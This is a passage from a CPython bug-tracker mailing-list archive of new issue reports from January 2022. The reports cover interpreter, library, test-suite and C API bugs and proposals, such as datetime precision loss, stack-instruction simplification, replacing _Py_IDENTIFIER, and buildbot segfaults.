106, in _maybe_compile raise err1 File "/usr/lib/python3.9/codeop.py", line 93, in _maybe_compile code1 = compiler(source + "\n", filename, symbol) File "/usr/lib/python3.9/codeop.py", line 111, in _compile return compile(source, filename, symbol, PyCF_DONT_IMPLY_DEDENT) File "", line 1 abc def ''' ^ SyntaxError: invalid syntax ``` But in Python 3.10.0 it no longer is an error: ``` >>> import code >>> code.compile_command("abc def '''") >>> ``` ---------- components: Parser messages: 411608 nosy: lys.nikolaou, pablogsal, tusharsadhwani priority: normal severity: normal status: open title: compile_command not raising syntax error when command ends with triple quotes type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:16:23 2022 From: report at bugs.python.org (Thomas Grainger) Date: Tue, 25 Jan 2022 15:16:23 +0000 Subject: [New-bugs-announce] [issue46522] concurrent.futures.__getattr__ raises the wrong AttributeError message Message-ID: <1643123783.64.0.215214582085.issue46522@roundup.psfhosted.org> New submission from Thomas Grainger : >>> import types >>> types.ModuleType("concurrent.futures").missing_attribute Traceback (most recent call last): File "", line 1, in AttributeError: module 'concurrent.futures' has no attribute 'missing_attribute' >>> import concurrent.futures >>> concurrent.futures.missing_attribute Traceback (most recent call last): File "", line 1, in File "/home/graingert/miniconda3/lib/python3.9/concurrent/futures/__init__.py", line 53, in __getattr__ raise AttributeError(f"module {__name__} has no attribute {name}") AttributeError: module concurrent.futures has no attribute missing_attribute ---------- messages: 411611 nosy: graingert priority: normal pull_requests: 29069 severity: normal status: open title: concurrent.futures.__getattr__ raises the wrong AttributeError message versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 10:42:34 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 25 Jan 2022 15:42:34 +0000 Subject: [New-bugs-announce] [issue46523] Test suite skips failing tests Message-ID: <1643125354.71.0.870282939818.issue46523@roundup.psfhosted.org> New submission from Nikita Sobolev : Here's what happened. We had an error in `test_typing.py`, which was silently ignored. ``` ====================================================================== ERROR: setUpClass (test.test_typing.NewTypeTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "D:\a\cpython\cpython\lib\test\test_typing.py", line 3917, in setUpClass UserId = NewType('UserId', int) NameError: name 'NewType' is not defined ---------------------------------------------------------------------- Ran 396 tests in 0.085s FAILED (errors=1, skipped=1) test test_typing failed ``` Link: https://github.com/python/cpython/runs/4902363883?check_suite_focus=true But, later the suite runner tried to rerun it: ``` 0:09:12 load avg: 6.37 Re-running failed tests in verbose mode 0:09:12 load avg: 6.37 Re-running test_typing in verbose mode (matching: setUpClass) 1 re-run test: test_typing 1 test run no tests: test_typing ``` And since nothing matched `setUpClass` - no tests were executed and the CI went green instead of red. What can we do? 1. Only schedule real `test_` item to be rerun, fail for everything else 2. Convert `setupClass` failure into the whole class rerun 3. Other options? I would like to work on this, when we will decide which way is best. ---------- components: Tests messages: 411620 nosy: sobolevn priority: normal severity: normal status: open title: Test suite skips failing tests type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 14:06:03 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 Jan 2022 19:06:03 +0000 Subject: [New-bugs-announce] [issue46524] test_peg_generator takes 8 minutes on Windows Message-ID: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> New submission from STINNER Victor : test_peg_generator takes between 5 and 16 minutes on the Windows CI run on Python pull requests. Example of timings on my PR https://github.com/python/cpython/pull/30890 * GitHub Action win32: 8 min 16 sec * GitHub Action win64: 16 min 38 sec * Azure Pipelines win32: 5 min 30 sec * Azure Pipelines win64: 8 min 3 sec Would it be possible to make these tests faster? Or at least, would it be possible to skip these slow tests on Windows where spawing a process or running a C compiler is slower? On my Fedora 35 (Linux) laptop, test_peg_generator takes 49.5 seconds. test_peg_generator only takes 736 ms if I disable TestCParser. ---------- components: Tests messages: 411662 nosy: lys.nikolaou, pablogsal, vstinner priority: normal severity: normal status: open title: test_peg_generator takes 8 minutes on Windows versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 16:33:20 2022 From: report at bugs.python.org (Yilei Yang) Date: Tue, 25 Jan 2022 21:33:20 +0000 Subject: [New-bugs-announce] [issue46525] datetime.timestamp() lose precision when the time is too large Message-ID: <1643146400.71.0.0148099427476.issue46525@roundup.psfhosted.org> New submission from Yilei Yang : Examples: >>> datetime.datetime(2222, 1, 1, microsecond=999999).timestamp() 7952371200.999999 >>> datetime.datetime(3333, 1, 1, microsecond=999999).timestamp() 43012195201.0 >>> datetime.datetime(2567, 1, 1, microsecond=999998).timestamp() 18839548800.999996 I believe this is an issue caused by using `double` in the C implementation. ---------- components: Library (Lib) messages: 411676 nosy: yilei priority: normal severity: normal status: open title: datetime.timestamp() lose precision when the time is too large type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 17:41:06 2022 From: report at bugs.python.org (Henning Leth) Date: Tue, 25 Jan 2022 22:41:06 +0000 Subject: [New-bugs-announce] [issue46526] iglob exclude patterns Message-ID: <1643150466.87.0.565601575386.issue46526@roundup.psfhosted.org> New submission from Henning Leth : Got a project where I am looking for all files in a project dir, except the some files/dir/extentions that should be ignored. Found a possible bug: - the set has to be defined even though it was a set when defined - f-string doesn?t work as I would expect working code from my project: ignore = {'*.tmp', 'test.txt', './tmp/*'} for file in iglob('**/*[!f"{set(ignore)}"]', recursive=True): code as i espected it would be writen: ... iglob(f'**/*[!{"ignore"}]', recursive=True) ---------- components: Library (Lib) messages: 411682 nosy: leth.henning priority: normal severity: normal status: open title: iglob exclude patterns type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 20:14:56 2022 From: report at bugs.python.org (Trey Hunner) Date: Wed, 26 Jan 2022 01:14:56 +0000 Subject: [New-bugs-announce] [issue46527] enumerate no longer accepts iterable keyword argument Message-ID: <1643159696.56.0.981249049237.issue46527@roundup.psfhosted.org> New submission from Trey Hunner : While playing around with the main CPython branch against I noticed that enumerate now gives a strange error message when `iterable` is provided as a keyword argument: >>> enumerate(iterable=[]) Traceback (most recent call last): File "", line 1, in TypeError: enumerate() missing required argument 'iterable' When passing an invalid keyword argument (and no positional arguments) an interesting error message is also given: >>> enumerate(hello="world") Traceback (most recent call last): File "", line 1, in TypeError: enumerate() missing required argument 'iterable' The help output still shows that iterable is accepted as either a keyword argument or a positional argument. ---------- components: Library (Lib) messages: 411695 nosy: trey priority: normal severity: normal status: open title: enumerate no longer accepts iterable keyword argument versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 25 20:39:59 2022 From: report at bugs.python.org (Brandt Bucher) Date: Wed, 26 Jan 2022 01:39:59 +0000 Subject: [New-bugs-announce] [issue46528] Simplify the VM's stack manipulations Message-ID: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> New submission from Brandt Bucher : ...as discussed in https://github.com/faster-cpython/ideas/discussions/228. We can dramatically simplify our stack manipulations by getting rid of the `DUP_TOP*` and `ROT_*` families of instructions: - Replace `DUP_TOP` with `COPY(1)`. - Replace `DUP_TOP_TWO` with `COPY(2), COPY(2)`. - Introduce a new `SWAP` instruction. - Replace `ROT_TWO` with `SWAP(2)`. - Replace `ROT_THREE` with `SWAP(3), SWAP(2)`. - Remove `ROT_FOUR`. - Replace `ROT_N(n)` with `SWAP(n), SWAP(n - 1), ..., SWAP(2)`. It then becomes much simpler for the peephole optimizer to reason about code sequences involving these instructions (for example, it's pretty straightforward to truly *optimize* an arbitrary sequence of swaps). ---------- assignee: brandtbucher components: Interpreter Core messages: 411697 nosy: Mark.Shannon, brandtbucher priority: normal severity: normal status: open title: Simplify the VM's stack manipulations type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 03:39:08 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 26 Jan 2022 08:39:08 +0000 Subject: [New-bugs-announce] [issue46529] Improve test coverage of `Union` and `Optional` repr() Message-ID: <1643186348.67.0.481698382701.issue46529@roundup.psfhosted.org> New submission from Nikita Sobolev : There are several important cases that are missing from current `repr()` tests of `typing.Union` and `typing.Optional`: 1. This condition is not covered at all: `if args[0] is type(None):` https://github.com/python/cpython/blob/7cf285d82ec722d4225297366013e924805171f2/Lib/typing.py#L1236 3. `repr()` of `Union[str, None]` is not directly tested as well 3. `repr()` of `Union` with more that 2 parameters with `None` is not covered. This is an important corner case because of this condition: `if len(args) == 2:` https://github.com/python/cpython/blob/7cf285d82ec722d4225297366013e924805171f2/Lib/typing.py#L1235 I will send a PR with new assertions. ---------- components: Tests messages: 411715 nosy: gvanrossum, kj, sobolevn priority: normal severity: normal status: open title: Improve test coverage of `Union` and `Optional` repr() type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 04:02:03 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 26 Jan 2022 09:02:03 +0000 Subject: [New-bugs-announce] [issue46530] `'thread_time'` is missing from `test_get_clock_info` Message-ID: <1643187723.6.0.226648372956.issue46530@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now here's how `test_get_clock_info` looks like: ``` def test_get_clock_info(self): clocks = ['monotonic', 'perf_counter', 'process_time', 'time'] for name in clocks: info = time.get_clock_info(name) #self.assertIsInstance(info, dict) self.assertIsInstance(info.implementation, str) self.assertNotEqual(info.implementation, '') self.assertIsInstance(info.monotonic, bool) self.assertIsInstance(info.resolution, float) # 0.0 < resolution <= 1.0 self.assertGreater(info.resolution, 0.0) self.assertLessEqual(info.resolution, 1.0) self.assertIsInstance(info.adjustable, bool) ``` It tests for out of five possible arguments to `time.get_clock_info`. Docs: https://docs.python.org/3/library/time.html#time.get_clock_info `'thread_time'` is missing for some reason. I think we should add it to the test. Link: https://github.com/python/cpython/blob/7cf285d82ec722d4225297366013e924805171f2/Lib/test/test_time.py#L559 PR is incoming. ---------- components: Tests messages: 411717 nosy: sobolevn priority: normal severity: normal status: open title: `'thread_time'` is missing from `test_get_clock_info` type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 04:42:50 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 26 Jan 2022 09:42:50 +0000 Subject: [New-bugs-announce] [issue46531] Simplify exception handling in `doctest.py` Message-ID: <1643190170.89.0.603185613545.issue46531@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now there are two places where `sys.exc_info()` calls are not required anymore: 1. https://github.com/python/cpython/blob/6e5a193816e1bdf11f5fb78d620995fd6987ccf8/Lib/doctest.py#L1352-L1353 2. https://github.com/python/cpython/blob/6e5a193816e1bdf11f5fb78d620995fd6987ccf8/Lib/doctest.py#L2640-L2641 There are also places where it is exposed as a part of public API (I am not going to change that, at least in this PR): - https://github.com/python/cpython/blob/6e5a193816e1bdf11f5fb78d620995fd6987ccf8/Lib/doctest.py#L1757 - https://github.com/python/cpython/blob/6e5a193816e1bdf11f5fb78d620995fd6987ccf8/Lib/doctest.py#L1262 And some private APIs (out of scope as well): - https://github.com/python/cpython/blob/6e5a193816e1bdf11f5fb78d620995fd6987ccf8/Lib/doctest.py#L244 PR is on its way! ---------- components: Library (Lib) messages: 411720 nosy: iritkatriel, sobolevn priority: normal severity: normal status: open title: Simplify exception handling in `doctest.py` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 04:44:42 2022 From: report at bugs.python.org (Mark Shannon) Date: Wed, 26 Jan 2022 09:44:42 +0000 Subject: [New-bugs-announce] [issue46532] Improve effeciency of PRECALL/CALL instructions Message-ID: <1643190282.99.0.74296903316.issue46532@roundup.psfhosted.org> New submission from Mark Shannon : The PRECALL/CALL bytecode pair for calls is new (still in review at time of writing) and is not as efficient as it could be. Some possible improvements are: Transfer refcount of func when making a frame. NULL call_shape.kwnames after use instead of in PRECALL, as many specialized instructions already assert that it is NULL. Specialize the PRECALL instructions. Either for simple cases like `type(arg)` so we can skip the CALL, or for complex cases like `PythonClass(args)` where PRECALL can create object, and set up the frame so that `CALL` calls the __init__ function. ---------- assignee: Mark.Shannon messages: 411721 nosy: Mark.Shannon priority: normal severity: normal status: open title: Improve effeciency of PRECALL/CALL instructions _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:01:18 2022 From: report at bugs.python.org (Mark Shannon) Date: Wed, 26 Jan 2022 10:01:18 +0000 Subject: [New-bugs-announce] [issue46533] Specialize for staticmethods and classmethods Message-ID: <1643191278.03.0.471360623467.issue46533@roundup.psfhosted.org> New submission from Mark Shannon : Calls of the form `x.m(args)` where either `x = X` or x = X()` and X is a class, and `m` is a classmethod or staticmethod are not currently specialized. Typically the `x.m()` will translate to: LOAD_FAST x LOAD_METHOD "m" PRECALL_METHOD 0 CALL 0 Since classmethods and staticmethods are descriptors, only the LOAD_METHOD should need specializing. The PRECALL/CALL will be able to handle the resulting values without modification. ---------- messages: 411725 nosy: Mark.Shannon, kj priority: normal severity: normal status: open title: Specialize for staticmethods and classmethods _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 05:57:52 2022 From: report at bugs.python.org (Gobot1234) Date: Wed, 26 Jan 2022 10:57:52 +0000 Subject: [New-bugs-announce] [issue46534] Implementing PEP 673 (Self type) Message-ID: <1643194672.13.0.506968505606.issue46534@roundup.psfhosted.org> New submission from Gobot1234 : See [PEP 673](https://www.python.org/dev/peps/pep-0673) I'm planning to implement this in cpython some point today. ---------- components: Library (Lib) messages: 411736 nosy: Gobot1234, Jelle Zijlstra, gvanrossum, kj priority: normal severity: normal status: open title: Implementing PEP 673 (Self type) type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 06:20:07 2022 From: report at bugs.python.org (Stefan Ecklebe) Date: Wed, 26 Jan 2022 11:20:07 +0000 Subject: [New-bugs-announce] [issue46535] Possible bug: pdb causes exception Message-ID: <1643196007.05.0.419885868096.issue46535@roundup.psfhosted.org> New submission from Stefan Ecklebe : Consider a script called snippet.py, containing the lines ------------------------------------------ import numpy as np import pandas as pd np.finfo(float) idx = pd.MultiIndex.from_tuples([(1, 2)]) np.finfo(float) print("Done") ------------------------------------------ When running via 'python snippet.py' no errors occur. However when running via 'python -m pdb snippet.py' the following happens: > snippet.py(1)() -> import numpy as np (Pdb) r --Return-- > snippet.py(6)()->None -> np.finfo(float) (Pdb) c Traceback (most recent call last): File "VENV/lib/python3.10/site-packages/numpy/core/getlimits.py", line 459, in __new__ dtype = numeric.dtype(dtype) TypeError: 'NoneType' object is not callable During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/usr/lib/python3.10/pdb.py", line 1723, in main pdb._runscript(mainpyfile) File "/usr/lib/python3.10/pdb.py", line 1583, in _runscript self.run(statement) File "/usr/lib/python3.10/bdb.py", line 597, in run exec(cmd, globals, locals) File "", line 1, in File "snippet.py", line 6, in np.finfo(float) File "VENV/lib/python3.10/site-packages/numpy/core/getlimits.py", line 462, in __new__ dtype = numeric.dtype(type(dtype)) TypeError: 'NoneType' object is not callable Uncaught exception. Entering post mortem debugging Running 'cont' or 'step' will restart the program Commenting the MultiIndex line will will get rid of the problem but I am not quite sure why. Please note that this error only occurs if the script is run via 'r' in pdb. Running via 'c' does not cause any problems. Therefore, I suspect that the problem may be with pdb instead of the external packages. My setup: $ python --version Python 3.10.1 $ pip list | grep numpy numpy 1.22.1 $ pip list | grep pandas pandas 1.4.0 ---------- components: Library (Lib) messages: 411738 nosy: cklb priority: normal severity: normal status: open title: Possible bug: pdb causes exception type: crash versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 08:34:27 2022 From: report at bugs.python.org (The vivid & versatile channel) Date: Wed, 26 Jan 2022 13:34:27 +0000 Subject: [New-bugs-announce] [issue46536] Better for loop Message-ID: <1643204067.99.0.286470434211.issue46536@roundup.psfhosted.org> New submission from The vivid & versatile channel : for i in range(number), question in questions: ... instead of for i, question in zip(range(number), questions): ... ---------- messages: 411748 nosy: vividnversatile1 priority: normal severity: normal status: open title: Better for loop type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 09:14:52 2022 From: report at bugs.python.org (Martin Forster) Date: Wed, 26 Jan 2022 14:14:52 +0000 Subject: [New-bugs-announce] [issue46537] zipfile crash on windows, detected during pip install pyodbc-4.0.32-cp310-cp310-win_amd64.whl Message-ID: <1643206492.89.0.988860575159.issue46537@roundup.psfhosted.org> New submission from Martin Forster : pyth10n 3.10.1, windows x64 install of yodbc-4.0.32-cp310-cp310-win_amd64.whl crashes. pos: 74196 pos: 74226 pos: -3 ERROR: Could not install packages due to an OSError. Traceback (most recent call last): File "C:\git\idfunctiondb\venv\lib\site-packages\pip\_internal\commands\install.py", line 390, in run installed = install_given_reqs( File "C:\git\idfunctiondb\venv\lib\site-packages\pip\_internal\req\__init__.py", line 73, in install_given_reqs requirement.install( File "C:\git\idfunctiondb\venv\lib\site-packages\pip\_internal\req\req_install.py", line 758, in install install_wheel( File "C:\git\idfunctiondb\venv\lib\site-packages\pip\_internal\operations\install\wheel.py", line 794, in install_wheel _install_wheel( File "C:\git\idfunctiondb\venv\lib\site-packages\pip\_internal\operations\install\wheel.py", line 637, in _install_wheel file.save() File "C:\git\idfunctiondb\venv\lib\site-packages\pip\_internal\operations\install\wheel.py", line 404, in save with self._zip_file.open(zipinfo) as f: File "C:\Python310\lib\zipfile.py", line 1520, in open fheader = zef_file.read(sizeFileHeader) File "C:\Python310\lib\zipfile.py", line 743, in read self._file.seek(self._pos) OSError: [Errno 22] Invalid argument Please note i added the line 742 with the content: print(str(self) + ' pos: ' + str(self._pos) ) to help to find the root cause. it Looks like that file.tell, returns a negative number, which kill file.seek. ---------- components: Windows messages: 411750 nosy: Martin-Forster, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: zipfile crash on windows, detected during pip install pyodbc-4.0.32-cp310-cp310-win_amd64.whl type: crash versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 11:14:46 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 16:14:46 +0000 Subject: [New-bugs-announce] [issue46538] [C API] Make the PyDescrObject structure opaque Message-ID: <1643213686.79.0.673238991618.issue46538@roundup.psfhosted.org> New submission from STINNER Victor : While working on the PEP 674 implementation, I noticed that PyDescr_NAME() and PyDescr_TYPE() macros are used as l-value by two projects: M2Crypto and mecab-python3. Both are code generated by SWIG. M2Crypto-0.38.0/src/SWIG/_m2crypto_wrap.c and mecab-python3-1.0.4/src/MeCab/MeCab_wrap.cpp contain the function: SWIGINTERN PyGetSetDescrObject * SwigPyStaticVar_new_getset(PyTypeObject *type, PyGetSetDef *getset) { PyGetSetDescrObject *descr; descr = (PyGetSetDescrObject *)PyType_GenericAlloc(SwigPyStaticVar_Type(), 0); assert(descr); Py_XINCREF(type); PyDescr_TYPE(descr) = type; PyDescr_NAME(descr) = PyString_InternFromString(getset->name); descr->d_getset = getset; if (PyDescr_NAME(descr) == NULL) { Py_DECREF(descr); descr = NULL; } return descr; } ref: https://bugs.python.org/issue45476#msg407410 SwigPyStaticVar_new_getset() is more of less an outdated copy of Python 2.7 descr_copy() of Python Objects/descrobject.c. I tried to prevent using the PyDescr_NAME() and PyDescr_TYPE() macros as l-value in two ways: * Add PyDescr_SET_NAME() and PyDescr_SET_Type() * Add PyDescr_New() The problem of the PyDescr_SET_NAME() and PyDescr_SET_Type() approach is that SWIG code is outdated: it doesn't initialized the PyDescrObject.d_qualname member added to Python 3.3 (bpo-13577, commit 9d57481f043cb9b94bfc45c1ee041415d915cf8a). So I implemented PyDescr_New() function: in CPython, it means basically to rename descr_new() to PyDescr_New(). Problem: implementating this function for older Python versions is non trivial. Code that I wrote for the pythoncapi_compat project: // bpo-45476 added PyDescr_New() to Python 3.11.0a5 #if PY_VERSION_HEX < 0x030B00A5 PyDescrObject * PyDescr_New(PyTypeObject *descr_type, PyTypeObject *type, const char *name) { assert(descr_type != NULL); assert(type != NULL); assert(name != NULL); PyObject *name_obj; #if PY_MAJOR_VERSION >= 3 name_obj = PyUnicode_InternFromString(name); #else name_obj = PyString_InternFromString(name); #endif if (name_obj == NULL) { return NULL; } PyDescrObject *descr = (PyDescrObject *)PyType_GenericAlloc(descr_type, 0); if (descr == NULL) { Py_DECREF(name_obj); return NULL; } descr->d_type = (PyTypeObject*)Py_NewRef(type); descr->d_name = name_obj; // PyDescrObject.d_qualname was added to Python 3.3.0a1 #if PY_VERSION_HEX >= 0x030300A1 descr->d_qualname = NULL; #endif return descr; } #endif The even more complicated part is to write unit tests for this function in pythoncapi_compat. It requires to implement a whole type with tp_traverse tp_dealloc functions. In Python, this function must be at least documented. At the end, IMO it's not really worth it to add so much complexity to Python and pythoncapi_compat just for 2 projects using SWIG. I created this issue to keep a track of my analysis, if someone else tries to do something similar tomorrow. I attached my WIP patches to keep a copy of this work, in case if we need to revisit this idea later. For the PEP 674, IMO it's better to leave the two PyDescr_NAME() and PyDescr_TYPE() macros unchanged. There is no need in the short term to make PyDescrObject structure and structures using it opaque in the short term. Well, SWIG code looks incorrect (it doesn't initialize d_qualname), but a fix just for SWIG should be enough. ---------- components: C API messages: 411765 nosy: vstinner priority: normal severity: normal status: open title: [C API] Make the PyDescrObject structure opaque versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 15:30:38 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Wed, 26 Jan 2022 20:30:38 +0000 Subject: [New-bugs-announce] [issue46539] typing: forward references don't understand special type forms Message-ID: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org> New submission from Gregory Beauregard : Consider the following code on 3.11 main: ``` from typing import Annotated, ClassVar, get_type_hints class DC: a: ClassVar[int] = 3 b: ClassVar["int"] = 3 c: "ClassVar[int]" = 3 d: Annotated[ClassVar[int], (2, 5)] = 3 e: Annotated[ClassVar["int"], (2, 5)] = 3 f: "Annotated[ClassVar[int], (2, 5)]" = 3 class DC_Special_ForwardRef: g: Annotated["ClassVar[int]", (] = 3 # OK assert get_type_hints(DC, globals(), locals()) == { "a": ClassVar[int], "b": ClassVar[int], "c": ClassVar[int], "d": ClassVar[int], "e": ClassVar[int], "f": ClassVar[int], } # TypeError: typing.ClassVar[int] is not valid as type argument get_type_hints(DC_Special_ForwardRef, globals(), locals()) ``` Currently, the `Annotated["ClassVar[int]", (2, 5)]` annotation raises at runtime when `get_type_hints` is called, but all the other forward reference annotations are okay. My understanding is this is because when typing._type_check runs on a type where special forms are allowed it's possible for the typing._type_convert it calls it itself run a typing._type_check on contained forward references. However, if that forward reference was itself a special form then it's possible to get an error because typing._type_check doesn't pass on that special forms are allowed. I have drafted a patch to pass on this information. This will become important in the future as more special forms are allowed to wrap each other, such as allowing Final and ClassVar to nest each other in dataclasses, or when Required and NotRequired land. In the future we may also want to reconsider runtime restrictions on special forms in `typing.py` entirely and instead choose to leave this to type checkers. Is my analysis/patch approach okay? Forward references can be tricky. Should we be discussing runtime restrictions in typing.py more generally in the future? ---------- components: Library (Lib) messages: 411790 nosy: GBeauregard, Jelle Zijlstra, gvanrossum, kj priority: normal severity: normal status: open title: typing: forward references don't understand special type forms versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 16:05:40 2022 From: report at bugs.python.org (embassy_vfx) Date: Wed, 26 Jan 2022 21:05:40 +0000 Subject: [New-bugs-announce] [issue46540] dylibs not loading properly from NFS mounts Message-ID: <1643231140.7.0.949544098465.issue46540@roundup.psfhosted.org> New submission from embassy_vfx : MacOS Catalina 10.15.4 and 10.15.7 tested with XCode Python3.8 install and Python3.7.9 installer from https://www.python.org/ftp/python/3.7.9/python-3.7.9-macosx10.9.pkg (and my own build of 3.7.12) When importing libraries that use shared object files to an NFS mounted directory, they do not open the dynamic library properly. We can use PySide2 as an example here. This workflow works fine in python 2.7 using the same steps. Repro Steps: 1)pip install PySide2 to an NFS mounted directory: `/usr/local/bin/python3.7 -m pip install --target=//nfs_3.7 PySide2` 2)`export PYTHONPATH=//nfs_3.7` 3)run python `/usr/local/bin/python3.7` 4)import PySide2 - you should get an ImportError that looks like "dlopen(//nfs_3.7/shiboken2/shiboken2.abi3.so, 2): Library not loaded: @rpath/libshiboken2.abi3.5.15.dylib" - otool shows shiboken2.abi3.so has it's rpath set as @loader_path and I've confirmed both files exist. If I follow the same procedure above but instead install PySide2 to `/tmp/local_3.7` everything works as expected and the binaries are loaded properly. I had this same issue with standard library .so files when I installed my custom build of python to an NFS mounted directory (_ssl as an example) but only when running through a virtual environment. Possibly @rath/@loader_path related? This seems to only be an issue on MacOS as I have no issues on the same NFS mount on Linux. ---------- components: macOS messages: 411793 nosy: embassy_vfx, ned.deily, ronaldoussoren priority: normal severity: normal status: open title: dylibs not loading properly from NFS mounts type: behavior versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 17:01:04 2022 From: report at bugs.python.org (Eric Snow) Date: Wed, 26 Jan 2022 22:01:04 +0000 Subject: [New-bugs-announce] [issue46541] Replace _Py_IDENTIFIER() with statically initialized objects. Message-ID: <1643234464.46.0.949364478641.issue46541@roundup.psfhosted.org> New submission from Eric Snow : `_Py_Identifier` has been useful but at this point there is a faster and simpler approach we could take as a replacement: statically initialize the objects as fields on `_PyRuntimeState` and reference them directly through a macro. This would involve the following: * add a `PyUnicodeObject field (not a pointer) to `_PyRuntimeState` for each string that currently uses `_Py_IDENTIFIER()` * initialize each object as part of the static initializer for `_PyRuntimeState` * make each "immortal" (e.g. start with a really high refcount) * add a macro to look up a given string * update each location that currently uses `_Py_IDENTIFIER()` to use the new macro instead As part of this, we would also do the following: * get rid of all C-API functions with `_Py_Identifer` parameters * get rid of the old runtime state related to identifiers * get rid of `_Py_Identifier`, `_Py_IDENTIFIER()`, etc. (Note that there are several hundred uses of `_Py_IDENTIFIER()`, including a number of duplicates.) Pros: * reduces indirection (and extra calls) for C-API using the strings (making the code easier to understand and speeding it up) * the objects are referenced from a fixed address in the static data section (speeding things up and allowing the C compiler to optimize better) * there is no lazy allocation (or lookup, etc.) so there are fewer possible failures when the objects get used (thus less error return checking) * simplifies the runtime state * saves memory (at little, at least) * the approach for per-interpreter is simpler (if needed) * reduces the number of static variables in any given C module * reduces the number of functions in the ("private") C-API * "deep frozen" modules can use these strings * other commonly-used strings could be pre-allocated by adding `_PyRuntimeState` fields for them Cons: * churn * adding a string to the list requires modifying a separate file from the one where you actually want to use the string * strings can get "orphaned" (we could prevent this with a check in `make check`) * some PyPI packages may rely on `_Py_IDENTIFIER()` (even though it is "private" C-API) * some strings may never get used for any given ./python invocation Note that with a basic partial implementation (GH-30928) I'm seeing a 1% improvement in performance (see https://github.com/faster-cpython/ideas/issues/230). ---------- assignee: eric.snow components: Interpreter Core messages: 411799 nosy: eric.snow, serhiy.storchaka, vstinner priority: normal pull_requests: 29107 severity: normal stage: needs patch status: open title: Replace _Py_IDENTIFIER() with statically initialized objects. versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 20:29:56 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 01:29:56 +0000 Subject: [New-bugs-announce] [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot Message-ID: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> New submission from STINNER Victor : s390x Fedora Clang 3.x buildbot: https://buildbot.python.org/all/#/builders/3/builds/1385 This change may be caused by this buildbot configuration change: https://github.com/python/buildmaster-config/commit/8fbb7492d4509df074750bc1a8ea69812ff53aae --- 0:05:48 load avg: 7.72 [215/432/1] test_lib2to3 crashed (Exit code -11) -- running: (...) Fatal Python error: Segmentation fault Current thread 0x000003ff94176710 (most recent call first): File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/lib2to3/pytree.py", line 845 in generate_matches File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/lib2to3/pytree.py", line 785 in _recursive_matches File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/lib2to3/pytree.py", line 786 in _recursive_matches File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/lib2to3/pytree.py", line 786 in _recursive_matches (...) File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/lib2to3/pytree.py", line 786 in _recursive_matches ... Extension modules: _testcapi (total: 1) --- and --- 0:06:29 load avg: 7.50 [245/432/2] test_json crashed (Exit code -11) -- running: (...) Fatal Python error: Segmentation fault Current thread 0x000003ffbccf6710 (most recent call first): File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/json/encoder.py", line 439 in _iterencode File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/json/encoder.py", line 325 in _iterencode_list (...) File "/home/dje/cpython-buildarea/3.x.edelsohn-fedora-z.clang/build/Lib/json/encoder.py", line 439 in _iterencode ... Extension modules: _testcapi (total: 1) --- test.pythoninfo difference between successful build 1383 and failing build 1385: * Py_DEBUG: No => Yes * pymem.allocator: pymalloc => pymalloc_debug * sysconfig[CFLAGS]: -Wsign-compare -Wunreachable-code -DNDEBUG -g -fwrapv -O3 